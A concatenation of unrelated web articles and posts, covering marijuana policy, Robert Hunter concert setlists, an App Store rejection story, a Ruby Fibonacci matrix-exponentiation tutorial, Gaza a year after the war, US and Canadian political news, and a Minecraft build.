The revenue picture is less clear. Colorado's marijuana revenues are coming in below forecasts, partly because existing medical marijuana patients are continuing to patronize the medical marijuana dispensaries, where prices are lower.
Any discussion on the issue should be guided by science and evidence, not ideology and wishful thinking.
Indeed, ONDCP. Indeed.
More on marijuana legalization:
>> The federal government's own statistics show that marijuana is safer than alcohol
>> America's marijuana arrest rates, in one chart
>> Medical marijuana opponents' most powerful argument is at odds with a mountain of research
>> Americans finally understand that marijuana is less harmful than alcoholGrateful Dead lyricist Robert Hunter played his first two of three consecutive performances at City Winery in NYC on Monday and Tuesday nights. In recent interviews Hunter mentioned that he planned to dig deep into the repertoire of songs he wrote for the Dead and beyond during his current tour, which concludes on August 2 back at City Winery. So far, he’s been true to his word.
Throughout the first two nights of the tour, Hunter has only repeated “Ripple” and “Boys In The Barroom,” both of which served as the encore each night. Robert posted a note on his Facebook page saying he’ll only repeat “Ripple” at tonight’s third and final show of the run. He also addressed an issue he faced during last night’s first set. “The first set Tuesday started off like BlunderBunny, with no guitar sound. Not to be undone, I played Dire Wolf into Peggy-0 holding the guitar up to the vocal mic best I could while singing into it. The show must go on! Have worked up enough arrangements to do all different tunes for a third evening excepting Ripple, which a show wouldn’t feel complete without. Bit of a clunker 1st set, by my lights, but the 2cnd went smooth as Vick’s vaporub on a weasel!” reads Hunter’s note.
Watch fan-shot footage of Robert Hunter performing “Wharf Rat” thanks to Robinson Dunham:
Here’s a look at the setlists from the first two shows via Ratdog.org:
Monday, July 21
Set One: Bertha > Easy Wind > Jack Straw > Cool White Water, Days Between
Set Two: Candyman, Deal, Wind Blows High, Wharf Rat, Mountains of the Moon, It Must Have Been The Roses, Brown-Eyed Women, Silvio, Scarlet Begonias
Encore: Ripple, Boys In The Barroom
Tuesday, July 22
Set One: Dire Wolf -> Fennario, Ship of Fools, Keys to the Rain, Fandangorello, Ramble On Rose, Yellow Moon, Friend of the Devil
Set Two: Dry Dusty Road, Brokedown Palace, One Thing to Try, Lazy River Road, Into the Blue, Mission in the Rain, Reuben & Cerise, Franklin’s Tower
Encore: Ripple, Boys In The BarroomHas the iPhone App craze reached its peak? Probably. But we feel the “iPhone App submission horror story” craze is still going strong.
Here’s ours.
The game
We’re in the business of making parody games. Our premiere title is an RPG parody that takes place on the Internet. With that spirit, here’s the pitch for our app, called iCapitalism:
iCapitalism is the world’s first game entirely driven by microtransactions. There is literally no gameplay outside of the ability to upgrade your character using real money.
Are you tired of games that require time, effort and (worst of all) skill to play? If so, iCapitalism is the game for you!
“When I was young, I had all the time in the world to play video games, but no money to buy them. As an adult, I have all the money in the world to buy games, but no time to play them.”
We also had a FAQ explaining it in more detail:
How do I play? Click on the Play tab. Then click Increase Your Level. You will be presented with a list of level upgrades you can purchase with real money. So there’s really no skill involved? None at all! The person who pays us the most wins. The rest are displayed on a leaderboard in descending order. Does my money get me anything besides a higher spot on the leaderboard? When you increase your level you can enter a custom message. All other players can see this when you’re on leaderboard. The top payer player becomes the “Head Honcho,” and their (inevitably more important) message will be the first thing everyone sees when they boot the app. Who are you, and why would you create something like this? iCapitalism was created by the people behind Forumwarz, the browser RPG based on Internet culture. A long time ago, we promised our audience that it wouldn’t be possible to gain a competitive advantage by paying more than another player. What could be worse than grinding for weeks and building up your stats, only to find that some jerk-off kid paid $20 and surpassed you? However, we’ve seen that there are other web games where you can simply purchase a competitive advantage…we’re looking at you, popular Facebook farm simulator! Having tried said games, we were stunned to discover that not only do they allow people to surpass you with microtransactions, but it’s almost impossible to play competitively without it! We’re going to keep our word about not doing this to Forumwarz. But there’s nothing stopping us from doing it in a new game! And if you’re going to do something, you might as well do it right. Hence, iCapitalism.
The submission process
We built an iPhone game in just under two days and submitted it to Apple for approval. The concept was a little iffy, but we figured it was worth the gamble. If nothing else, it could attract some attention to our web RPG, Forumwarz.
Two weeks after submitting, we received an email from Apple: “The review process will require additional time.” Fair enough. These things take time. Our previous application took 12 days to approve.
Two more weeks passed. We decided to put a little more pressure on them — politely, of course. We sent Apple an email asking why we hadn’t heard anything yet, and whether there was anything we could do to expedite the process. We received a reply a day later, saying, “Your application is still in review but is requiring unexpected additional time.” Fair enough. These things take…a great deal of time.
Two more weeks went by. Apple still hadn’t contacted us. We sent another email, this time directly to Steve Jobs. No, we never expected Mr. Jobs to read it, but we’d heard some developers have had some luck going directly to the man himself.
Surprisingly, our Hail Mary play seemed to work. A few days later, we were treated to a short phone conversation with an actual live person. We were told that everything with our App was fine, except we had some in-app purchases that they felt were too expensive. They kindly asked if we’d remove them, and we agreed to do it on the spot. We built the game very closely to their specifications for in-app purchases, so re-submitting it would not be necessary. We were left with the impression that the game would be approved shortly.
Another week passed and our game was still “In Review.” Another email was sent. A few days later, another phone call. Again, we were asked to remove some overly expensive in-app purchases — the same ones we’d already removed over a week ago. The man on the phone didn’t seem to believe that it was already done. After we insisted we did what they’d asked, we were told we’d get a call back shortly.
Another week went by. Again, nothing. The situation had officially gone from “absurd” to “Kafkaesque.” Fearing that it wouldn’t be long before we were inexplicably metamorphosed into dung beetles, we sent them yet another email. One full week later, we received our third call — informing us that our application was rejected. We were informed, strangely enough, that the nature of our application violated their “policies.”
We pointed out that we never saw anything in their policies that prohibited our content. Where we were supposed to obtain these policies? The response: “We are informing you of them on the phone right now.” In other words, after nine long weeks, Apple invented a policy to reject our game.
Our game did not use any hidden APIs. It featured no adult content or copyrighted images. It did not duplicate any functionality in the iPhone’s core software.
Why was it rejected? Because, apparently, Apple can’t take a joke.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
May 17, 2013, 11:01 PM GMT By Science
By Clara Moskowitz
LiveScience
If the Starship Enterprise's warp drive looks especially realistic in the new "Star Trek" film, that's because it was shot in a real-life laboratory for nuclear fusion research: The National Ignition Facility in California.
The J.J. Abrams-led crew of the new film "Star Trek Into Darkness," got special permission from the U.S. Department of Energy to film scenes from the movie at the facility, which is part of the Lawrence Livermore National Laboratory in Livermore, Calif.
There, real-life scientists are using the world's most energetic laser system to attempt to create nuclear fusion — the merging of two atoms into one — in a laboratory. If successful, the technology could provide a truly clean, renewable energy source for the future. While the National Ignition Facility (NIF) hasn't succeeded in igniting fusion just yet, scientists say they're getting closer and closer to their goal. [Photos: The Evolution of the Starship Enterprise]
There are genuine links between the research going on at NIF and the futuristic science portrayed in "Star Trek," the film's producers point out: After all, the Enterprise is fueled with deuterium, the heavy variant of hydrogen, which the NIF uses in its fusion experiments.
"For many years, we've been waiting for 'Star Trek' to realize they should be here!" principal associate director of NIF Edward Moses said in a statement. "This is a very futuristic facility… and I think we've all been influenced by Star Trek's vision of the future."
The film uses NIF to portray the innards of the 23rd-century starship, which uses a warp drive to bend space-time, allowing the Enterprise to travel faster than the speed of light.
Moses said he and his science team were thrilled to see their lab transformed into a sci-fi vision. "It was super exciting to see J.J. Abrams' vision of what we do," Moses said.
For their part, the film crew was just as excited to see real-life science in action.
"We were there just trying to shoot a movie, but all around us, these innovative scientists are working on technologies that will likely help the whole world," Abrams said. "The idea that one day the research at NIF could create clean, limitless energy is so exciting. On the one hand, it was simply a great location for the story. But more importantly, we were really honored to be welcomed there. These people are doing research that could alter the destiny of the planet the way the wheel or the light bulb did."
The collaboration is especially fitting, because so many scientists have been inspired to pursue their careers, in part, by science fiction such as "Star Trek."
"We couldn't even believe they let us in to shoot — and then, they were so excited about having us," Abrams said. "So many people told us 'Star Trek' inspired them to get involved in science."
Follow Clara Moskowitz on Twitter and Google+. Follow us @livescience, Facebook and Google+. Original article on LiveScience.com.
Copyright 2013 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.The unanimous approval of a transgender protections law in Cleveland on Monday was an unexpected victory for gay activists working for its passage.
The law bans discrimination in the areas of housing, employment and public accommodations on the basis of gender identity. Cleveland's anti-discrimination law already includes sexual orientation, age, race and religion. A last-minute amendment excludes shared showers, locker rooms and restrooms.
Fears that the legislation was about to fail were proven unfounded when the entire slate of 21 council members voted in favor of the legislation.
David Caldwell, spokesman for the Cleveland-based gay rights group Ask Cleveland, told On Top Magazine last month that he believed the bill still faced an uphill battle. “We're working hard to earn the votes necessary to ensure victory,” he said. Going into the vote, activists said they expected the bill to be approved narrowly, but remained uncertain.
The legislation was sponsored by outgoing Council member Joe Santiago, who introduced the bill in August. Santiago, who is openly gay, lost his bid for a second term in September.
As lawmakers considered a gay-inclusive domestic partnership registry in the spring, several council members were targeted by opponents of gay rights. A group of mostly Black ministers rallied against the bill, saying it resembled gay marriage, and threatened to unseat members who favored it. The bill eventually cleared the chamber and Mayor Frank Jackson signed it into law, but the chamber split mostly along racial lines, with only 2 out of 10 African-American members voting in favor of passage.
Gay activists lobbied dissenters of the gay partnership bill; Ask Cleveland delivered more than 2,500 postcards urging council members to approve the bill and join 6 other Ohio cities that have enacted such protections. But the fear that Monday's vote would once again fracture mostly along racial lines remained.
“It's … in the African-American community, where our work had the biggest impact,” said Caldwell. “We spoke with over a thousand supportive African-American voters, who helped us dispel the myth that African-Americans don't support equal rights for the LGBT community – and helped us win the votes of their representatives.”
Caldwell called the vote a “game changer” for gay rights in the city.Since I’m looking for a job again and people often like to ask for a fizzbuzz program to weed out the folks who can’t string together a few lines of code, I thought I’d write up a program to compute the nth Fibonacci number. There’s an intriguing bit of matrix math involved, so I learned something while implementing it.
Recently I was having lunch with some of Toronto’s most interesting Ruby developers, and the subject of interview questions came up. Specifically, writing a program to compute the nth Fibonacci number. Unsurprisingly, we agreed it might be useful as a screener for weeding out the people who were completely delusional about their prospects as a professional programmer. You know, the type of person who stares blankly at the screen and has no idea where to start, even when told that all we wanted was a program that correctly prints an answer. No tests, no specs, no shouldas, no passengers, no CSS, just prove you actually can write something, anything.
We also agreed that any Guess the answer I’m thinking of problem is terrible, including Fibonacci. Should it iterate? Recurse? Memoize? Is it overkill to use advanced math to be really fast? Or will you get tossed out of the interview for writing a naive recursive solution? Unless the interviewer is very specific that they just want you to prove that you actually have written ten or more lines of working Ruby code in your life, there could be any number of reasons to disqualify any solution.
But we batted around a few ideas for how to gild the lily, and since I have just found myself contemplating the prospect of being asked to write a program to compute the nth Fibonacci number, I thought I’d get some practice and write one in advance. Since I’m doing it for myself, I’m going to optimize for maximum personal growth.
Here we go…
Enter The Matrix
One problem with calculating a Fibonacci number is that naive algorithms require n addition operations. There are some interesting things we can do to improve on this. One way is to transform n additions into raising something to the power of n. This turns n additions into n multiplications. That seems retrograde, but hold on to your disbelief.
This is actually nice, because there is a trick about raising something to a power that we can exploit. But first things first. As explained in Sum of Fibonacci numbers?, we can express the Fibonacci number F(n) using a 2x2 matrix:
[ 1 1 ] n [ F(n+1) F(n) ] [ 1 0 ] = [ F(n) F(n-1) ]
Multiplying two matrices is a little interesting if you have never seen it before:
[ a b ] [ e f ] [ ae + bg af + bh ] [ c d ] times [ g h ] = [ ce + dg cf + dh ]
Our matrices always have diagonal symmetry, so we can simplify the calculation because c is always equal to b:
[ a b ] [ d e ] [ ad + be ae + bf ] [ b c ] times [ e f ] = [ bd + ce be + cf ]
Now we are given that we are multiplying two matrices with diagonal symmetry. Will the result have diagonal symmetry? In other words, will ae + bf always be equal to bd + ce? Remember that a = b + c at all times and d = e + f provided that each is a power of [[1,1], [1,0]]. Therefore:
ae + bf = (b + c)e + bf = be + ce + bf bd + ce = b(e + f) + ce = be + bf + ce
That simplifies things for us, we can say:
[ a b ] [ d e ] [ ad + be ae + bf ] [ b c ] times [ e f ] = [ ae + bf be + cf ]
And thus, we can always work with three elements instead of four. Let’s express this as operations on arrays:
[a, b, c] times [d, e, f] = [ad + be, ae + bf, be + cf]
Which we can code in Ruby:
def times ( * ems ) ems. inject do | product, matrix | a, b, c = product ; d, e, f = matrix [ a * d + b * e, a * e + b * f, b * e + c * f ] end end times ([ 1, 1, 0 ]) # => [1, 1, 0] times ([ 1, 1, 0 ], [ 1, 1, 0 ]) # => [2, 1, 1] times ([ 1, 1, 0 ], [ 1, 1, 0 ], [ 1, 1, 0 ]) # => [3, 2, 1] times ([ 1, 1, 0 ], [ 1, 1, 0 ], [ 1, 1, 0 ], [ 1, 1, 0 ]) # => [5, 3, 2] times ([ 1, 1, 0 ], [ 1, 1, 0 ], [ 1, 1, 0 ], [ 1, 1, 0 ], [ 1, 1, 0 ]) # => [8, 5, 3]
Very interesting. We could write out a naive implementation that constructs a long array of copies of [1,1,0] and then calls times :
def naive_power ( m, n ) times ( * ( 1.. n ). map { | n | m }) end naive_power ([ 1, 1, 0 ], 1 ) # => [1, 1, 0] naive_power ([ 1, 1, 0 ], 2 ) # => [2, 1, 1] naive_power ([ 1, 1, 0 ], 3 ) # => [3, 2, 1] naive_power ([ 1, 1, 0 ], 4 ) # => [5, 3, 2] naive_power ([ 1, 1, 0 ], 5 ) # => [8, 5, 3]
Now let’s make an observation: instead of accumulating a product by iterating over the list, let’s Divide and Conquer. Let’s take the easy case: Don’t you agree that times([1,1,0], [1,1,0], [1,1,0], [1,1,0]) is equal to times(times([1,1,0], [1,1,0]), times([1,1,0], [1,1,0]))? And that this saves us an operation, since times([1,1,0], [1,1,0], [1,1,0], [1,1,0]) is implemented as:
times ([ 1, 1, 0 ], times ([ 1, 1, 0 ], times ([ 1, 1, 0 ],[ 1, 1, 0 ]))
Whereas times(times([1,1,0], [1,1,0]), times([1,1,0], [1,1,0])) can be implemented as:
begin double = times ([ 1, 1, 0 ], [ 1, 1, 0 ]) times ( double, double ) end
This only requires two operations rather than three. Furthermore, it is recursive. naive_power([1,1,0], 8) requires seven operations. However, it can be formulated as:
begin quadruple = begin double = times ([ 1, 1, 0 ], [ 1, 1, 0 ]) times ( double, double ) end times ( quadruple, quadruple ) end
Now we only need three operations compared to seven. Of course, we left out how to deal with odd numbers. Fixing that also fixes how to deal with even numbers that aren’t neat powers of two:
def power ( m, n ) if n == 1 m else halves = power ( m, n / 2 ) if n % 2 == 0 times ( halves, halves ) else times ( halves, halves, m ) end end end power ([ 1, 1, 0 ], 1 ) # => [1, 1, 0] power ([ 1, 1, 0 ], 2 ) # => [2, 1, 1] power ([ 1, 1, 0 ], 3 ) # => [3, 2, 1] power ([ 1, 1, 0 ], 4 ) # => [5, 3, 2] power ([ 1, 1, 0 ], 5 ) # => [8, 5, 3]
And we can write our complete fibonacci function:
def fib ( n ) return n if n < 2 power ([ 1, 1, 0 ], n - 1 ). first end
And dress things up in idiomatic Ruby using the anonymous module pattern:
class Integer include ( Module. new do times = lambda do |* ems | ems. inject do | product, matrix | a, b, c = product ; d, e, f = matrix [ a * d + b * e, a * e + b * f, b * e + c * f ] end end power = lambda do | m, n | if n == 1 m else halves = power. call ( m, n / 2 ) if n % 2 == 0 times. call ( halves, halves ) else times. call ( halves, halves, m ) end end end define_method :matrix_fib do return self if self < 2 power. call ([ 1, 1, 0 ], self - 1 ). first end end ) end ( 0.. 20 ). map { | n | n. matrix_fib } # => [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765]
We’re done!
p.s. No we’re not done: Another program to compute the nth Fibonacci number.
p.p.s. No, this isn’t the fastest implementation by far. But it beats the pants off of a naïve iterative implementation.
notes:Gaza still on a knife-edge, one year on from the war
The war caused vast damage in Gaza, very little of which has been repaired
By Jeremy Bowen
Middle East editor, BBC News
A year after the war in Gaza, the guns are relatively quiet, most of the time. A de facto ceasefire between Israel and Hamas has held. But the conflict is still there, and if anything it is keener. Until its fundamentals are tackled - and there's no sign of that happening - another big outbreak of violence between the two sides will only ever be one serious incident away. Between 1120 and 1135 on 27 December 2008 the Israeli air force attacked the Arafat City police headquarters in Gaza, and at least three other police stations. European diplomats from Israel's allies will speak on condition of anonymity about their concern about what they call 'the slow progress of degradation in living standards' in Gaza
World 'failed Gaza over blockade' It was the start of an offensive that lasted for three weeks. The Israeli army says it killed 1,166 Palestinians. The Palestinian health ministry's count is about 1,500. B'Tselem, the Israeli human rights group, says that Israel killed 1,387 Palestinians during the war; more than half of them were civilians, and 252 of them were children. Israeli attacks also did huge physical damage in Gaza to homes, businesses and the rest of the infrastructure of daily life. Nine Israelis, including three civilians, were killed by Palestinian fire. Four others, all Israeli soldiers, were killed by their own side. Hamas rockets did little physical damage in Israel. What happened is still controversial. Israel and Hamas disagree on every point - why it started, how it started and what has happened since - except that it was the latest battle in a very long war. Punishing blockade Twelve months on, Palestinian civilians in Gaza continue to suffer grievously. Israel has kept up its blockade. It allows in only the barest essentials, which are supplemented by whatever smugglers can bring in through tunnels from Egypt. GAZA CONFLICT CASUALTIES Total Palestinian deaths:
1,409 (PCHR)
1,387 (B'Tselem)
1,166 (Israeli military) Palestinian children killed:
326 (under 17, PCHR)
252 (under 16, B'tselem)
89 (under 16, Israeli military) Palestinian civilians killed:
916* (PCHR)
773* (B'tselem)
295 plus 162 unknown (Israeli military) Israelis killed:
3 civilians
10 security forces (includes 4 by friendly fire) *Figures exclude about 250 Hamas police officers
PCHR=Palestinian Human Rights Centre, B'Tselem=Israeli human rights group
Voices: Gaza, one year on Two families struggle to recover Gallery: Impact on Gaza children Locals return to rocket-hit towns The Egyptians, no friends of Hamas, also put heavy restrictions on what can pass through their border with Gaza. They are building an underground barrier to stop the tunnels under their border as well. But Israel, legally speaking, still has the responsibilities of an occupying power, even though it no longer has a permanent military presence in Gaza. These responsibilities include ensuring the welfare of the population, allowing the functioning of medical services, and maintaining respect for private property. It has been impossible to repair war damage because Israel has let in only 41 truckloads of construction materials since January 2009, according to a new report from the leading European humanitarian and human rights groups operating in Gaza. They say that thousands of truckloads are needed and that the blockade should be lifted. Israel insists that concrete, piping, glass, steel and all the rest could be used for military purposes by Hamas. Jeremy Hobbs, from Oxfam, called it "a blockade that punishes everybody living there for the acts of a few". Health issues The same aid groups also accused world powers of abandoning Gaza, of simply wringing their hands about what is happening. European diplomats from Israel's allies will speak on condition of anonymity about their concern about what they call "the slow progress of degradation in living standards" in Gaza. Enough food comes in to make sure that people don't starve, though they have a limited diet. But the winter will be hard. Israelis - people and politicians - have consistently supported the war In November only 275 aid trucks were allowed in, the lowest number since the crisis began, according to European diplomats. This month the Gaza power plant has been running at 62% of capacity; 90% of Gazans suffer power cuts of four to six hours a day. Lack of clean water is a major health issue. Aid agencies say that diarrhoea kills many young children and they have linked contaminated ground water to congenital heart defects in new-born babies. The violence and dislocation has also caused a dramatic increase in what doctors call psycho-social disorders. For children, who are especially hard-hit, that means bedwetting, nightmares, depression and aggression. All of this is already having a political effect. The UN says Gazans, especially young people, are being radicalised. Hamas scored when the secular nationalists of the PLO couldn't make life any better. Now the UN fears that the next set of answers for Gaza's young - half the population are children - is coming from jihadists who are sympathetic to Al Qaeda. Israel should be worried. Dealing with the PLO and with Hamas has been hard enough. 'Necessary action' Israeli politicians stoutly defend what was done in Gaza a year ago. Most Israelis still consider it necessary defensive action, forced on them by years of rocket attacks. The Israeli government has been campaigning against the UN's official report into violations of international humanitarian law in Gaza, which was published in September. Richard Goldstone, a respected South African judge and war crimes prosecutor, led the team that wrote the report.
Israel debates response to report UN seeks close Gaza scrutiny Full UN report on Gaza war Mr Goldstone is Jewish with strong Zionist credentials. That has not stopped the Israeli government from condemning his report as biased. The Goldstone report said that there was evidence that both Israel and Hamas committed crimes against humanity during those three weeks at the turn of the year. Israel says it worked very hard to protect Palestinian civilians and insists its soldiers respected the law. Yet there is also a nervousness about what has been done to Israel's image. There was outrage in Israel when a British judge issued a warrant for the arrest of the former Israeli Foreign Minister Tzipi Livni, who was in power during the Gaza war. It was revoked when it became clear Ms Livni would not be visiting the UK. The Goldstone report said that states had a duty under international law "to investigate allegations of violations" by Israel or Hamas. One consequence of what happened is that Israeli leaders need to think hard before they travel abroad. Some Israeli analysts see this as another sign of what they call the "de-legitimisation" of their country by hostile and influential critics, which they believe is designed to erode its position as a Jewish state. It is a fact though that Israeli citizens who live within rocket range of Gaza have had a much quieter and easier time of it in 2009 than for years. Israeli generals and politicians insist that the Gaza war means that their army is once again feared, in a way that it wasn't after Lebanese Hezbollah guerrillas fought it to a standstill in 2006. Prisoner exchange It is also a fact that Gaza is still one of the major flashpoints in the conflict between Israel and the Palestinians. Hopes that US President Barack Obama could conjure some diplomatic magic in 2009 have disappeared. It is hard to see what can change the game. The split between the two main Palestinian factions, Hamas and Fatah, looks as if it will continue. Negotiations about a prisoner exchange could help. Hamas has one Israeli captive, a soldier called Gilad Shalit, who has been in their hands since 2006. A German negotiator is shuttling between Gaza and Israel, trying to arrange to exchange Sgt Shalit for hundreds of Palestinian prisoners. So far, Israel has not wanted to release as many as Hamas has been demanding. If a deal is made, European diplomats are hoping a relaxation of the blockade could follow. But the Israeli government will be criticised at home for releasing Palestinians and giving Hamas a victory. Opening the borders might feel too much like giving them another. What always amazes me about Gaza is that despite the difficulty of life there, it is never hard to find energetic people whose human spirit burns very bright. But there is not much to look forward to on either side of Gaza's border with Israel in 2010. The year will be full of challenges and dangers.
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When we decided to launch our company ShipBob in Chicago, our investors (Y-Combinator, California) were a little skeptical of our decision. We ourselves were paranoid in the weeks leading to our launch. Going through an intense accelerator, the expectations are high and user acquisition is the only yardstick for measuring consumer startups. So were we making the right decision to be in a city, which is not the tech hub nor filled with early adopters?
A lot of startups would give an arm and leg to be in Silicon Valley, a city which we were willingly foregoing to be in. So why did we decide to launch in Chicago and why do we believe you should do the same. Here are the |
gain within a state that happens to forbid the practice, falls within the prohibition of [the federal law]."
During oral arguments in October, the justices offered a number of wide-ranging hypotheticals over what the law could forbid, including: fox hunts, pate de foie gras from geese, cockfighting, bullfighting, shooting deer out of season, even Roman gladiator battles.
Only Justice Samuel Alito dissented in the case, and he focused on one of the most disturbing aspects raised in the appeal, the marketing of so-called "crush" videos, in which women - with their faces unseen - are shown stomping helpless animals such as rabbits to death with spiked-heel shoes or with their bare feet.
"The animals used in crush videos are living creatures that experience excruciating pain. Our society has long banned such cruelty," he said. The courts, he said, have "erred in second-guessing the legislative judgment about the importance of preventing cruelty to animals."
Roberts suggested a law specifically banning crush videos might be valid, since it was narrowly tailored to a specific type of commercial enterprise.
Alito noted that would not help dogs forced to fight each other, where, he said, "the suffering lasts for years rather than minutes."
The government had argued a "compelling interest" in stopping people who would profit from dog attack tapes and similar depictions.
If the law had been upheld, it would have been only the second time the Supreme Court had identified a form of speech undeserving of protection by the First Amendment. The justices in 1982 banned the distribution of child pornography.THUNDER BAY – Canada’s Liberal Party and American President Barack Obama appear to be on completely different sides of the debate on marijuana. American proponents of more sensible marijuana legislation are likely to be interested in the motion passed this weekend at the Liberal Convention. Despite the best efforts of American activists, the Obama White House, since last November, has refused to even accept petitions on the legalization of the drug, according to “Young Turks” in a posting on Youtube.
In both the United States and in Canada there are many people who are jailed for possession of marijuana.
The Obama White House states, “Marijuana and other illicit drugs are addictive and unsafe especially for use by young people. As officials with the National Institute on Drug Abuse state, drug addiction is a progressive disease and the earlier one starts, the more likely are the chances of developing a substance use disorder.
“Marijuana contains chemicals that can change how the brain works. And the science, though still evolving in terms of long-term consequences of marijuana use, is clear: marijuana use is associated with addiction, respiratory and mental illness, poor motor performance, and cognitive impairment, among other negative effects. This is especially troubling since research suggests one-in-11 people who ever used marijuana will become dependent on it; this risk rises to one-in-six when use begins in adolescence. In 2009, marijuana was involved in 376,000 emergency department visits nationwide.”
The White House adds, “This Administration joins major medical societies in supporting increased research into marijuana’s many components, delivered in a safe (non-smoked) manner, in the hopes that they can be available for medical professionals to legally prescribe if proven safe and effective. The U.S. Federal Government is the single largest funder of research on marijuana in the world.
“Furthermore, the Administration opposes drug legalization. Legalization threatens public health by increasing availability of drugs and undermining prevention activities. It also hinders recovery efforts and poses a significant health and safety risk to all Americans, especially our youth. Marijuana is a harmful drug and its use should be prevented and treated – not promoted.”
Here is the resolution on Marijuana passed by the Liberal Party:
117. Legalize and Regulate Marijuana
WHEREAS, despite almost a century of prohibition, millions of Canadians today regularly consume marijuana and other cannabis products;
WHEREAS the failed prohibition of marijuana has exhausted countless billions of dollars spent on ineffective or incomplete enforcement and has resulted in unnecessarily dangerous and expensive congestion in our judicial system;
WHEREAS various marijuana decriminalization or legalization policy prescriptions have been recommended by the 1969-72 Commission of Enquiry into the Non-Medical Use of Drugs, the 2002 Canadian Senate Special Committee on Illegal Drugs, and the 2002 House of Commons Special Committee on the Non-Medical Use of Drugs;
WHEREAS the legal status quo for the criminal regulation of marijuana continues to endanger Canadians by generating significant resources for gang-related violent criminal activity and weapons smuggling – a reality which could be very easily confronted by the regulation and legitimization of Canada’s marijuana industry;
BE IT RESOLVED that a new Liberal government will legalize marijuana and ensure the regulation and taxation of its production, distribution, and use, while enacting strict penalties for illegal trafficking, illegal importation and exportation, and impaired driving;
BE IT FURTHER RESOLVED that a new Liberal government will invest significant resources in prevention and education programs designed to promote awareness of the health risks and consequences of marijuana use and dependency, especially amongst youth;
BE IT FURTHER RESOLVED that a new Liberal government will extend amnesty to all Canadians previously convicted of simple and minimal marijuana possession, and ensure the elimination of all criminal records related thereto;
BE IT FURTHER RESOLVED that a new Liberal government will work with the provinces and local governments of Canada on a coordinated regulatory approach to marijuana which maintains significant federal responsibility for marijuana control while respecting provincial health jurisdiction and particular regional concerns and practices.
Young Liberals of Canada
Liberal Party of Canada (British Columbia)
More reading: Polls Show Marijuana Legalization More Popular Than President ObamaIllinois Gov. Pat Quinn speaks during a news conference in Chicago after he used his amendatory veto power to tweak the concealed carry legislation sent to him after months of debate and negotiation over the measure. (Photo11: Scott Eisen, AP) Story Highlights Bill would end Illinois' status as the last state to ban the concealed carry of weapons in public
State must lift the concealed carry ban by Tuesday to meet a federal appeals court's deadline
Lawmakers are widely expected to override Gov. Quinn's proposed amendments
SPRINGFIELD, Ill. (AP) — Lawmakers are set to consider Gov. Pat Quinn's proposed changes to a bill that would end Illinois' status as the last state to ban the concealed carry of weapons in public Tuesday — the court-mandated deadline for the state to comply.
The Chicago Democrat has been highlighting the city's gun violence, saying recent shootings show the need for tougher restrictions on weapons. But the state must lift the concealed carry ban by Tuesday to meet a federal appeals court's deadline, and lawmakers are widely expected to override his proposed amendments.
"There will be a showdown in Springfield," Quinn told the crowd gathered in Chicago for a bill signing on anti-gang legislation. Afterward he told reporters that lawmakers should examine his changes carefully.
"I don't think they should override common sense. I don't think they should compromise with public safety," he said.
While Quinn's changes — which include a one-gun limit and a ban on guns in establishments that serve alcohol — have been embraced by Chicago's anti-violence advocates, they've received a cold reception from lawmakers.
Many are upset that Quinn waited a month after receiving the bill to make his changes through the use of his amendatory veto power, and accused of him pandering to voters. Quinn, who is running for re-election, faces some potentially high-profile challengers from his own party.
A bill sponsor, state Rep. Brandon Phelps, said Quinn's late changes put Illinois at risk of "going off the cliff" and not meeting the July 9 deadline.
"Why would the governor want to put people in that predicament?" the Harrisburg Democrat said. "That's the problem with what's he's doing. I don't think he understands what he's doing."
Illinois must comply with a federal appeals court deadline after the state's ban on concealed carry was ruled unconstitutional in December. The original bill, which came out of months of negotiation, would allow the Illinois State Police to issue a concealed carry permit to a gun owner with a Firearm Owners Identification card who passes a background check and undergoes training, among other provisions.
The bill passed the House and Senate with the support of more than the three-fifths majorities needed to override Quinn's changes.
There's debate about what will happen if there's no law by Tuesday. Some say it means that anyone can carry a gun anywhere, while others say it will prompt local municipalities to enact their own ordinances.
Still, Phelps said, one possible outlet for Quinn's suggested changes might be separate legislation at a later date.
Senate President John Cullerton said issues raised by Quinn's changes were worth discussing and could come up again down the road.
"Even though the Senate president will be supporting the override so that we don't waste any time getting reasonable regulations on the books, he did think that there are a lot of issues raised in the amendatory veto that are worth further discussion," Cullerton spokeswoman Rikeesha Phelon said.
If lawmakers reject Quinn's changes and the bill they approved goes into effect, Illinois State Police will have to be ready within six months to accept applications. Roughly 300,000 applications are expected in the first year, according to ISP spokeswoman Monique Bond.
Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Read or Share this story: http://usat.ly/16mHVMyIn the week since President Trump declared that transgender Americans would no longer be allowed in the military, some municipal officials have responded with an invitation: join our police force instead.
Several cities — including Houston; Austin, Tex.; Aurora, Colo.; and Cincinnati — have encouraged transgender people to apply to their police departments. In Austin, San Diego, Seattle and other places, transgender officers already serve openly.
“If you are dismissed from our military because of who you are, know that you are welcome in the city of Cincinnati and our police department,” Chris Seelbach, a city councilman, said at a protest last Wednesday in response to Mr. Trump’s announcement.
Mr. Trump revealed his ban in a series of three tweets from 8:55 to 9:08 a.m. on July 26. By the evening, two cities in Texas — where state lawmakers have been engaged in a high-profile debate over whether transgender people should be allowed to use the public bathrooms of their choice — had declared themselves in opposition to the ban.Contest Finalist! This Project is in the Underwater Wonderland Contest which is now Complete! See the Final Leaderboard!
Remember to leave a diamond if you like it!
Excited to get started, Combine began to build these amazing structures you're looking at this exact moment. They have been built over this past month and are now ready for you to enjoy!
The whole world is up for download, so please check it out for yourself to explore!
Lore:
As Steve’s enormous project started to take shape, he noticed the lack of living creatures, whom had been represented in large numbers for the past weeks. This made Steve wonder: “What could possibly have gotten rid of all those magnificent creatures?”. Steve began to look further into the deeps of the sea, and luckily remarking that further out the sea was full of alive creatures - but what made them flee that far out? Steve liked their company, and was upset with the current scenario.
Over the next few days, Steve observed numerous boats as well as ships sink down to the floor of the deep ocean, marked with a large amount holes, as if a horde of sharks and other scary creatures of the sea had taken a chunk of the water vessels.
